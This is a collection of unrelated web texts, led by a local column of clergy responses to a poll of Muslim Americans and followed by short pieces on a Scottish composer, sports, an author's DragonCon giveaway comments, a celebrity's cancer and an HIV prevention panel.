However, I believe the melting pot theory is misguided, not only from a Jewish or religious point of view, but also from a purely American perspective. Unity that is achieved through obliterating diversity and minority culture is short-lived. We cannot afford to form a superficial union that is based on denying our differences and insisting we're all identical. Diversity, after all, is sewn into the fabric of human existence. When we join hands and unite as one people despite our differences, when we learn to appreciate and respect each other's religion and culture, then we have formed true unity. A symphony composed of one tone is meaningless, but when diverse musical notes are combined, they can form beautiful music.
In my opinion, this poll speaks volumes about our national character and our ability to preserve our respective traditions while at the same time being unequivocally American. This is the bedrock of our national identity, and it distinguishes us from the rest of the world. It is no secret that almost every Western European nation is facing a major challenge from an immigrant Muslim population that is becoming increasingly hostile and radical. Perhaps our allies across the Atlantic could learn something about effective integration from America's positive assimilation practices.
Rabbi Simcha
Chabad Jewish Center
While I can't know the heart of any Muslim American, I can only hope that when foreign Muslims arrive on these shores and take the oath of allegiance, their motives are pure. We are a land of myriad religions and races and backgrounds, but I am still of the unshakable belief that we are this way because of our essentially Christian foundation. The freedoms granted us by our creator, the choice of religious expression and the ability to thrive unmolested is something that comes to us by virtue of Western society forged in the history of Christianity, and it culminates here.
John Jay, America's first Supreme Court chief justice, said once, "Providence has given to our people the choice of their rulers, and it is the duty, as well as the privilege and interest of our Christian nation to select and prefer Christians for their rulers." Reading that quote gives me a clue as to the thinking of our first citizens, and I think had they made it more officially clear that we are a Christian nation, there would be less worry by current people regarding our ever-growing Muslim population.
I think those who wring their hands [might] look at officially Muslim nations and recognize the suppression of Christianity that typifies such places. They hear of Muslim immigrant populations elsewhere rising to positions of power and then overturning governments to conform to their Sharia or other Muslim ideals.
But can this happen here? Should we expect anything different? How can we know? We can only embrace our Muslim neighbors and regard them as fellow Americans unless they prove otherwise. It seems that they desperately want to show themselves faithful, so let's afford them the opportunity. If Americans have any real religious concern regarding our Muslim fellows, then let them return to the churches they have been neglecting and let them fortify the Christian presence here. If America becomes a Muslim nation, it will do so because the people freely chose it by actively embracing Islam or by simply neglecting the Christianity that used to identify us.
Rev. Bryan Griem
Montrose Community Church
The survey had some surprising and, for that matter, positive, findings; it was heartwarming to learn that Muslim Americans, who have had to deal with much scrutiny over the years in the United States, have an optimistic outlook about their future in the United States. I hope that these views are not short-lived, as it may be hard for anyone to stay optimistic, given the current economic turmoil.
The survey highlights two possible reasons for this optimism. One is that "Muslim Americans were hurt more than other major religious groups by the recession, and have therefore experienced more improvement as the recovery has begun." Second, Muslim Americans "see [President] Obama as promoting policies that are more in keeping with their own political views."
There is no question that Muslim Americans have a daunting task in trying to change negative religious perceptions, especially when fanatical offshoot groups continue to get the headlines and cause trouble.
In a small way, I understand that. Warren Jeffs, the polygamous leader of the Fundamentalist Church of Jesus Christ of Latter-day Saints, recently was found guilty of child sexual assault and sentenced to life in prison. What he did was inexcusable. The problem is that the media often associates Jeffs and his beliefs with the Latter-day Saints Church, although Jeffs is not a member of the LDS Church.
Several years ago, a survey of Americans' perceptions of Mormons was conducted. The survey noted that 39% of respondents believed that LDS Church members still promote or practice polygamy.
That is not the case. Polygamy was banned by the LDS Church in 1890 and was only practiced by a small percentage of church members before the ban. I am a fifth-generation church member and as far as I know, I do not have any ancestors who practiced polygamy, and I oppose the practice. Yet I often get asked the polygamy question. Unfortunately, old stereotypes are hard to kill, and despite the LDS Church's efforts, misconceptions still exist.
For Muslim Americans, it will take time, smart media relations and positive public interactions to overcome negative perceptions. It will also take an informed and willing public.
Rick Callister
Church of Jesus Christ of Latter-day Saints
La Cañada II Ward,
La Crescenta Stake
Asking the targets of hostility to "shake off" negative views that others hold of them is an interesting choice of words.
True, it is certainly good for the recipients of insulting words or hostile looks if they can manage to consider the source or use other cognitive or psychological methods to maintain their emotional equilibrium. But I hope this question isn't suggesting that victims should be zen-like enough to rise above physical attacks or illegal discrimination. The responsibility for negativity lies with the viewer, not with the viewed.
Hearing about acts of religious hatred makes me sorely tempted to declare a pox on all the houses of worship that are the sources of the hostility. Try to put yourself in my shoes, a non-participant who nonetheless is forced to have ugliness that seemingly arises from religious differences present in my world.
But it is not about the actual religion, really, any more than those resisting foreign invaders and occupiers are opposing a way of life, or anything other than imperialism. It is xenophobia and racism at work, I believe, in the guise of religion.
Roberta Medford
While I am happy to hear that 60 percent of Muslim Americans reported being happier than in the past, I know that there is still a great deal of negative feeling in our nation about Islam and Muslims. I wonder how the other 40 percent of Muslims who were questioned feel about their lives. The fact that the same Gallup study showed that about a third of Catholics or Protestants believe that Muslims are not loyal to America and should be stronger in their condemnation of terrorist attacks reveals that we have a long way to go in establishing a truly accepting culture.
Ramadan is a time in the Islamic calendar when Muslims fast and make amends for their past wrongs and pray to lead more faithful lives. Perhaps the rest of us would do well to follow their example. Our country has done things for which we should all ask forgiveness, not the least of which is the invasion of Iraq. We now know that there were no weapons of mass destruction in Iraq and that the pilots of the planes that crashed into the World Trade Center were not from that country. It is very well for us, in the safety of our homes, to make judgments about the evils of others. But we have much to atone for in the deaths of innocent men, women and children in that far-away land.
I do not naively assume that all Muslims are without blame. But the destruction of a country and its people in revenge for the actions of those who used religion as a cover for their heinous actions is not a fair trade. My hope is that we will cease blaming those Muslims in our country for crimes that they did not commit and learn more about the true nature of Islam — not the radicalized version practiced by terrorists. If we can do that, we may find that we can share common ground. And maybe the Muslim Americans will be able to forgive us for our arrogance.
Rev. Dr. Betty Stapleford
Unitarian Universalist Church
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La Crescenta, CA
Our founding fathers displayed great wisdom when limiting connections between religion and our political structures. Their design of the United States sends a strong message for us to disregard religious affiliations and differences and treat all Americans equally. We see today, with the events in the world, how wise their leadership has been. The United States is fortunate that no single religious sect or polity is accorded any higher legal status in this country. We can see internationally the danger when religious believers seek political power and attempt to force countries to obey their religious views.
Members of diverse beliefs, including Buddhist, Christian, Atheist and Muslim, have resorted to suicide bombings when attempting to influence political decisions. This should convince us that no single group can be identified as violent or disloyal. Americans belonging to Muslim faiths in the United States are just as loyal to the United States as holders of other beliefs. So Muslim believers are right to consider themselves loyal Americans, and they should be viewed with trust and fairness by all other Americans.
Steven Gibson
South Pasadena Atheist Meetup


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Born in Greenock as James MacCunn, the son of a shipowner, he went to London in 1893 and was educated at the Royal College of Music, where his teachers included Sir Hubert Parry and Sir Charles Villiers Stanford. His first success was with the overture The Land of the Mountain and the Flood on 5 November 1887 atthe Crystal Palace, and this remains far and away his best-known piece. It was followed by other compositions, always with a characteristic Scottish colouring. From 1888 to 1894 McCunn was a professor at the Royal College of Music, where he had a long artistic association and friendship with Marmaduke Barton.
In 1888, he married Alison Pettie, daughter of John Pettie, RA, who had painted MacCunn's portrait several times. They had one son. John Pettie was an enthusiastic musician, who helped MacCunn build up his career by organising concerts of his work. It was at this point that Carl Rosa commissioned MacCunn to write an opera on a Scottish subject. The world premiere of his first opera, Jeanie Deans, conducted by the composer, took place at the Royal Lyceum Theatre in Edinburgh on 15 November 1894. He was for some years a conductor with the Carl Rosa Opera Company and subsequently to other companies. A hectic programme of composing, conducting and teaching brought about a gradual deterioration in MacCunn's health, and he died in 1916 aged only 48.
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Condoleezza Rice was attending her father's church when a bomb exploded just a few blocks away at Sixteenth Street Baptist Church in 1963. Extraordinary, Ordinary People: A Memoir of Family (Crown), recounts the segregation the former secretary of state experienced, and her life as the daughter of a Presbyterian minister. She spoke with online editor Sarah Pulliam Bailey about faith and foreign policy during her book tour in New York City.
Did the racial tensions you experienced as a child have any impact on your faith?
The church was so much the center of our lives in Birmingham, the center on Sunday, the center on Tuesday, the center on Thursday. I don't know that any of us could have gotten through that period without tremendous faith.
As someone who never had a time when you didn't have faith in God, how do you think your spiritual journey is different from that of someone who had a more defined conversion experience?
Every spiritual journey is different in some sense. It's a matter of circumstances. My spiritual journey is one of trying to deepen that faith, trying to struggle with it, as my father taught me to do, not to become complacent.
You say in the book you never had a specific crisis of faith. But has your faith been challenged over the years?
Oh, sure. I've certainly felt like everyone does when something bad happens—"God, how could you let this happen to me?"—which is always our first response. But I always realize that maybe I had been prepared throughout my life to deal with these challenges from a position of faith.
Before you worked in government, did you feel like God was directing you toward public service?
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Coker also had outstanding contributions from Rebecca Kolbeck, India Elliott and Madison Bycroft. Kolbeck finished the game with a double-double, her second of the year, scoring 11 points with 10 rebounds, while Elliott and Bycroft each netted nine points for the Cobras. Bycroft also had three rebounds and three assists, while Elliott also tallied three assists.
For the Crusaders, Whitney Smith led the way with 12 points, while Audrey Toscano and Nikki Wood each gave
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- Promotion, promotion, promotion
- Cover reveal
- Advance reader copies
- Book launch contests
- As well as some other geekery yet to come!
Thursday, August 25, 2011
Galley Proofs are Done!
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Yay! I'll be at DragonCon too and I can't wait! I'll be representing IDC with a t-shirt Kevin was nice enough to send me himself. ;) I can't wait to see the new artwork!
- August 25, 2011 at 2:30 PM
Oh oh oh yes please! I have Hearne on Kindle but would so much love to have these pretties on my shelf!
Sadly I have not attended Dragon Con, but if you get a chance to eat at the Buckhead Diner please do so. I miss it terribly from my childhood!
- August 25, 2011 at 2:32 PM
It's been a while since I've been to DC, but it is one of the best cons. So much going on, so many people to see, so many great costumes! Best of all, a great city, too. Enjoy the con and don't get lost in the dealer's room!
- August 25, 2011 at 2:34 PM
- wenhaver said...
DragonCon is an awesome time. Make sure to drink enough water (it gets dry in those huge rooms) - but also make sure you know where the bathrooms are!
- August 25, 2011 at 2:59 PM
- April said...
I've never been to a convention. I've always wanted to go but I don't have a lot of friends who are fans of the same kind of books that I enjoy so no companions and tight budgets have always kept me away. It is on my bucket list to visit at least one before I go though!
I hope your first is fabulous! And what a terrific giveaway! Thank you!
- August 25, 2011 at 5:28 PM
- Jill said...
Hi, Shawntelle. I'll be at DragonCon (my fourth time) and hope to see you there. Please enter me in your contest - I'm very interested in reading these books.
- August 25, 2011 at 8:35 PM
- Amanda Bonilla said...
I can't wait to see your cover art, Shawntelle! Wish I was going to DragonCon. Have fun!
- August 29, 2011 at 9:26 AM
- TheSupremeForce said...
I've been meaning to pick up this series anyway, so you'd be doing me a HUGE favor.
- August 29, 2011 at 9:49 AM
- Ceridwen83 said...
I wanted to go to DragonCon this year but I went to SDCC instead. I am sure you will have an awesome time. I would love to have Kevin's books, read the first one one my nook and LOVED it!
- August 29, 2011 at 11:03 AM
- Paul said...
I've never been to Dragon Con, but I have had a book published and gone to a big publishing tradeshow signing. My advice to you is to just groove on the experience. It was one of the very few times in my life when I felt like a rock star. I am a writer, ghostwriter and writing coach and there is nothing quite like getting out from behind the computer and talking with an adoring public. Hope it goes well with you, and I LOVE Kevin Hearne. I look forward to reading your work when it is released.
- August 29, 2011 at 2:10 PM
- Na said...
This looks like a great new series to read. I didn't know about DragonCon until very recently and its sounds cool. I have a universal tip that can apply everywhere, bring a positive attitude! Have fun!
- August 30, 2011 at 9:51 PM
- Alexia Reed said...
I've never been but have fun! Take a lot of pictures! I've never been to one, it'd be interesting to see it all.
- August 31, 2011 at 4:27 PM
- Raonaid Luckwell said...
Take two: Hubby got the first book from the library and loving it. He wants to get book two. I want to read them but I have too many books on my plate that I want to read.
As for dragon*con I've never attended but a friend of mine attends every year. I'm just sad this year I never got to send her my lackey books to get signed.
- August 31, 2011 at 4:27 PM
- The One and Only Doc said...
Have an awesome time at Dragon*Con! Make sure you bring a couple bottles of water (or one refillable bottle) and a bag big enough and deep enough to carry loot.
- August 31, 2011 at 4:59 PM
- Sherri said...
OPh, you are so lucky to be going to DragonCon. Always something I have wanted to do!
Give us a post (along with your artwork) when you get back!
I would love to be entered in the giveaway. I've read the first and it was amazing. Can't wait to read the next ones. Enjoy your time at Dragon Con and I hope you have a blast!
- August 31, 2011 at 7:01 PM
- MCDuncan said...
Tips for Dragon*Con:
1.) If you need an elevator, get on the first available going up or down or you will wait forever.
2.) Carry a drink/snacks because the hotel commissary is expensive, or visit the attached mall to buy snacks.
3.) Make sure your badge is secure at all times. As an author, they may have your schedule on the back of the badge.
4.) Carry a packet of facial tissue in case you get stuck in a bathroom stall that is out.
5.) Watch out for costumers carrying props or wearing wings/tails. They sometimes forget to check before turning around.
6.) Don't take pictures of celebrities unless you are in a designated area or have their permission. There should be something about this in your handouts.
Above all, have fun and remember--sleep is highly overrated!
P.S.--I will add that I'd love the Kevin Hearne books for my library. I'm a public library branch manager, and he's on my wish list.
- August 31, 2011 at 7:30 PM
- darkwolfess said...
Hi, I would love to win a set of the books! They are wonderful!
Twitter is @darkwolfess
Yeah! Good luck to everyone!
- September 1, 2011 at 4:56 AM
- KoolSkool said...
Been a long time Comic-con attendee, would love to Drag On over to another Con. Saw Kevin at San Diego. Great guy!
- September 1, 2011 at 7:45 AM
- Marie said...
I've heard so many awesome things about these books, and I look forward to reading them soon. :-) I don't know if I'm eligible to win them, though, since I live in Sweden.
And since I live in Sweden, I've never been to Dragon*Con. It's on my list of things I want to do at some point, but who knows? This year I was so jealous of everyone going because Stacia Kane was going too. Then, unfortunately, Stacia had to cancel, which is of course sad for her and those who'd wanted to meet her. But I feel better about not being able to go. ;-)
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When asked about the tight end position after practice, head coach Hugh Freeze said they don't have any one player right now -- at this point -- who can do everything they want out of the position. Four players have split reps between the first-team, second-team and third-team offense.
"It's more play-specific," tight ends coach Maurice Harris said of the position. "We have to get the right kind of guys to do the specific task that we ask them to do. If we run the ball, Jack (Nuismer) is doing a good job, as well as Nick Parker. When we pass the ball, Evan (Engram) has separated himself some, along with Matt Brown. We have to get some consistency there, and these guys have to hone in on what we are doing."
Engram caught two touchdown passes in a live session of practice last night, Freeze said, while Harris mentioned a jump ball catch Engram had in the corner of the end zone over freshman safety Derrick Jones. Harris also raved about Engram's speed, his agility, his play-making ability and strong hands, adding that he plays fast.
"Evan is a physical kid," Harris said. "He's just light right now. He's 224 pounds, which is a lot heavier than when he came in at 209 pounds, but he's just light. I think he's physical enough to get the job done. I feel confident that he will."
Another interesting player at the position is Parker, who switched from running back to tight end. Of the four players, he has the most game experience, having appeared in seven games last season, mostly on special teams.
"I've been pleasantly surprised by Nick," Harris said. "The question was his physicality. Would he able to get in there and block, drive his feet, shoot his hands and finish blocks? And he's doing that. He needs to work on his route-running, but his pass-catching has been really good."
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At cornerback, senior Charles Sawyer (shoulder) returned to practice, including some team drills, but did not participate in live contact drills. Junior Senquez Golson (hamstring) ran again today, his second day of running, which Freeze said is "a good sign."
On the defensive line, freshman defensive Robert Nkemdiche (groin) was held out, but Freeze said he is "good, progressing really nicely." Junior defensive end C.J. Johnson was held out a tight Achilles, and Freeze said "the last thing you want to do with a tight Achilles is make him push through it right now." Freeze also noted sophomore defensive tackle Issac Gross (sports hernia) has practiced every day and "seems to be doing well."
On offense, Freeze said senior offensive lineman Patrick Junen (toe, wrist) is "really close and expects to see him start practicing next week." Freshman running back Kailo Moore (concussion symptoms) was back yesterday, and Freeze noted he "took a lot of carries today," and sophomore running I'Tavius Mathers (ankle) is now out of his boot, "so his situation is progressing," Freeze said.


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Actress Valerie Harper, who's been diagnosed with terminal brain cancer, has a rare type that often spreads from another form of cancer, such as breast, melanoma or, in Harper's case, lung cancer – which she battled in 2009.
Called leptomeningeal carcinomatosis, it affects about 5 percent of cancer patients and the first signs are "similar to stroke symptoms," including trouble speaking, numbness of the face, double vision, or difficulty swallowing, says Keith L. Black, M.D., professor and chair of the Department of Neurosurgery at Cedars-Sinai Medical Center in Los Angeles.
Black, who is not involved in Harper's care, says it's important that patients who have had cancers that could potentially spread to the brain "quickly alert their physicians if they develop any neurological symptoms."
Harper had told People magazine that she had experienced numbness in her jaw before tests revealed the cancer.
Leptomeningeal carcinomatosis is not a brain tumor, but an invasion of tiny cancerous particles in the fluid surrounding the brain and the spine, Isabelle Germano, M.D., director of the brain tumor program at Mt. Sinai Medical Center in New York, told FoxNews.com. These deadly specks damage the thin membrane that protects the brain and spinal cord, called the meninges.
The cancer is "literally sprinkled all over" the brain, Anders Cohen, M.D., chief of neurosurgery and spine surgery at The Brooklyn Hospital Center in New York, explained to CBSNews.com. He said doctors sometimes refer to this on an MRI scan as "sugar-coating" the brain.
Treatment for Harper's condition can only slow the inevitable spread of the disease, Jeremy Rudnick, M.D., Harper's neuro-oncologist at Cedars-Sinai, told People. He likened it to slowing down a 100 mph train to 5 to 10 mph. Without any treatment, a patient has weeks to live. Harper has been told she has about three months.
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Salomon has appointed Erik Anderson as Sales Director for Salomon USA Winter Sports Equipment to oversee alpine and Nordic ski equipment categories.
Anderson will be responsible for all aspects of the annual winter sports equipment selling cycle as well as provide overall management and direction for its network of sales representatives and key accounts. He will also work closely with the Salomon product marketing and brand management teams. Anderson most recently was VP Alpine Division, Fischer Skis US and had also worked for the American Skiing Company where he was General Merchandise Manager. In 2000 he earned his Masters of Business Administration from the University of Southern Maine.
"Erik brings a huge snowsports passion that is a prerequisite for this job. His winter sports experience and qualifications make him a great fit with Salomon USA." says Mike Adams, Vice President and Commercial Director for Amer Sports Winter Sports Equipment in the US. "We are confident that Erik will ensure that our strategies are correctly voiced and administered. We'll really benefit from the total package Erik brings."
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As HIV Prevention Money Shrinks, Who Will Save Young Gay Men of Color?
August 15, 2013
Table of Contents
- Introduction
- Mathew Rodriguez -- Editorial Project Manager, TheBody.com
- Dr. Perry N. Halkitis -- Director, Center for Health, Identity, Behavior & Prevention Studies, NYU
- Dr. Blayne Cutler -- Director, Bureau of HIV/AIDS Prevention, New York City Department of Health and Mental Hygiene
- Carl Siciliano -- Executive Director, Ali Forney Center
- Durell Knights -- Group Facilitator, Many Men, Many Voices, GMHC
- Shariff Gibbons -- Participant, Outstanding Beautiful Brothers, GMHC
- Dominique Crisden -- Community Health Specialist, Community Health & Research, GMHC
- Thomas Krever -- Executive Director, Hetrick-Martin Institute
Picture it: a summer night in New York City, still an epicenter of the U.S. HIV epidemic. In the face of the ongoing sequester, and as city HIV prevention funding is being slashed despite rising HIV rates among youth, a group of people gathered at the headquarters of Gay Men's Health Crisis (GMHC) to hear how leaders of some of the city's biggest agencies serving young gay men of color -- GMHC, the Ali Forney Center, the Hetrick-Martin Institute, and more -- plan to do that work with fewer coins in their coffers.
With a new phase of the HIV epidemic on the horizon -- one that, at present rates, will see half of our college-aged gay men positive by age 50 -- the panel was assembled for two reasons: to start some outrage about HIV among youth while also calling for a return to empathy as the basis of care for young gay men of color. In a world where young gay men of color are constantly misrepresented, or worse, ignored, GMHC hoped to give a voice to this population.
After a short opening statement, reproduced here in full, every panelist was given five to 10 minutes to describe what their organizations were doing for this city's most vulnerable sons. A brief excerpt of what each panelist had to say follows their video clip.
Moderator Opening Remarks: Mathew Rodriguez -- Editorial Project Manager, TheBody.com
If you want to read along, begin watching at 5:32 on the video.
Thank you all for coming here today. I would like to say that we are convened for a happier reason, but there is a stark truth hanging in the air. The reason we are all here is because there is a good chance that I, many people in the room and many people who look like me could become HIV positive. From 2008 to 2010, according to the Centers for Disease Control and Prevention (CDC), new HIV infections remained steady nationally, but rose a whopping 22 percent in young gay men. And, of course, young gay men of color shouldered most of that burden unfairly. At the current rates, more than half of college-aged gay men will become HIV positive by the time they are 50 years old.
These men who are at risk for becoming HIV positive, they are my friends. They are men with whom I am intimate on many levels. They are my intimate friends with whom I share secrets, they are my lovers -- whether potential or former -- and they are people for whom I care deeply. And that is the secret to being in this field. In their essay "The Soul of Our Work," Dr. George Ayala and artist Pato Hebert said that "to do this work well, you really have to love gay men," and if you don't, "could you do this work well?" and they go on to point out that we as queer people "make ourselves through storytelling" and we have to make sure that "storytelling is a top priority." And in that vein, I have a story to tell.
I don't remember my first HIV test. I remember my second test, which I volunteered for on Nov. 13, 2011, one month to the date after I held my father's hand while he passed away from an opportunistic infection in his liver. The first time I was tested was as a child, because my father was diagnosed with HIV around the time of my birth in April of 1989. When I came out, one of the first things that was given to me -- besides unending support -- was a warning about staying HIV negative. Of course, for my mother, that warning came from a place of understanding of what my path might look like. For me, and for the hundreds of thousands of gay men of color like me, the moments of intimacy that we share with others are tainted. For many of us, sex is only a stone's throw away from death, and we can't think of one without thinking of the other. And this is not any fault of our own. We inherited a crisis that we don't know how to navigate properly. On the flyer for this very event, the image of life-saving devices are imposed onto condoms. But you know what that implies? That we've already gone overboard.
Being a young gay man of color is not an easy task in today's world. Many people think that "coming out" is a happy process that is a process of addition. You learn more about yourself, you accept being gay, and you are welcomed into this community. But that's not the case. Coming out is not a process of addition, it is a process of subtraction, where young gay men of color have to unlearn many of the negative things that we are taught about ourselves every day -- the shame, the stigma, the hate -- and we turn those things into a celebration. We have to find ourselves underneath everything that is piled onto us. I was once taught by an activist that when you see an older gay man -- about 50 or older -- on the street, you always look at him with respect, because that man has survived the plague years, and he has seen the epidemic of the plague face-to-face and I respect each of them everyday. But now, I ask you all in this room and on this panel, to perform a similar exercise. When you meet a young gay man of color, know this: They have fought and are fighting in the trenches of this generation's war on AIDS. We have been kept away from their true selves. We have dealt with institutional racism, sexism, homophobia and sex-negative attitudes since birth. And we need your help to find ourselves. If you don't love young gay men of color, then what are you doing here?
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Burton Albion have sacked manager Paul Peschisolido after a 4-1 home defeat to Torquay extended the npower League Two club's winless run to 14 matches.
Former Derby, Sheffield United, Birmingham, Fulham and Stoke midfielder Peschisolido, 40, in his third season in charge of the Brewers, left the club following a meeting with chairman Ben Robinson immediately after their latest defeat.
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